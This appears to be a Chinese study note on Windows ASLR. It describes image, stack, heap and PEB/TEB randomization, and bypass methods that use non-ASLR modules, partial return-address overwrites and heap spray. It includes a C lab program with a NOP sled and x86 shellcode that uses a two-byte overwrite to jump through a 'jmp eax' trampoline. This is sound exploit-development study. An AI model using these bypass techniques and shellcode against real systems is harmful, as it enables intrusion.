目录
原理
跟SafeSEH类似也需要程序自身和操作系统的双持支持,其中程序不是必须的
vs2008中的编译选项
映像随机化
就是重启后,模块加载的基址会有所变化
可能使兼容性考虑,注册表可设置
0是禁用
-1是无聊有无标志都强制开启
其他值是开启(只对有那个标志的)
我们也可以看看重启前后的加载的基址的变化
堆栈随机化
就是两次运行程序,堆栈的基址都是不同的
编写个程序,输出堆栈的地址
#include "stdio.h" #include "stdlib.h" int main(int argc, char* argv[]){ char *heap = (char*)malloc(100); char stack[100]; printf("Address of heap:%#0.4x\nAddress of stack%#0.4x", heap, stack); getchar(); return 0; }
先看看XP的,可以看到是没有变的,xp是没开启ASLR的
看看win7,vista就懒得装了
可以看到变得还是挺多的
PEB与TEB随机化
这个在xp sp2就引入了 #include "stdio.h" #include "stdlib.h" int main(int argc, char* argv[]){ unsigned int teb; unsigned int peb; __asm{ mov eax,FS:[0x18] mov teb,eax mov eax,dword ptr [eax+0x30] mov peb,eax } printf("PEB:%#0.4x\nTEB:%#0.4x", peb, teb); getchar(); return 0; }
可以看到效果其实不是很好
攻击未启用ASLR的模块
aslr仅仅是安全机制,不是行业标准,不支持aslr的软件有很多
比如flash player ActiveX
接下来开始实验,结果点了跟没点一样,算了,继续下一课吧
利用部分覆盖进行定位内存地址
在前面可以看到,映像加载基址改变的知识前两个字节,如果我们只覆盖最后一个字节或者两个字节,
memcpy可以控制 xxxx0000-xxxxffff中的地址
而strcpy因为有个字符串结束符,所以只能控制 xxxx0001-xxxx00ff这个范围了
看看作者的代码,在实际中肯定要做一点修改的啦
#include "stdafx.h" #include "stdlib.h" char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x2A\x23" ; char * test() { char tt[256]; memcpy(tt,shellcode,262); return tt; } int _tmain(int argc, _TCHAR* argv[]) { char temp[200]; test(); return 0; }
先用262个90
可以看到返回地址最后两个字节已经被覆盖成9090了
看看跳板在哪,只要在0000-ffff偏移的都可以了
这里是部分覆盖,jmp esp基本不可能了
而且我们可以看到只有eax指向栈上shellcode的首地址,那我们找jmp eax就好
上插件
找到的太多了,只能记录到文件中了
可以看到本程序中挺多的,选一个前两个字节相同的就好
其实我们这里也有个232A啊
先手动改一下
单步果然就跳到这里来了
可以的
那我们布置shellcode在前面就行
但是虽然能执行到shellcode处,但是并不能成功
利用Heap spray技术定位内存地址
又是这种,不做了,反正搞过IE漏洞了
就是堆区不知0x90和shellcode,之后test函数的返回地址覆盖成0x0c0c0c0c就好了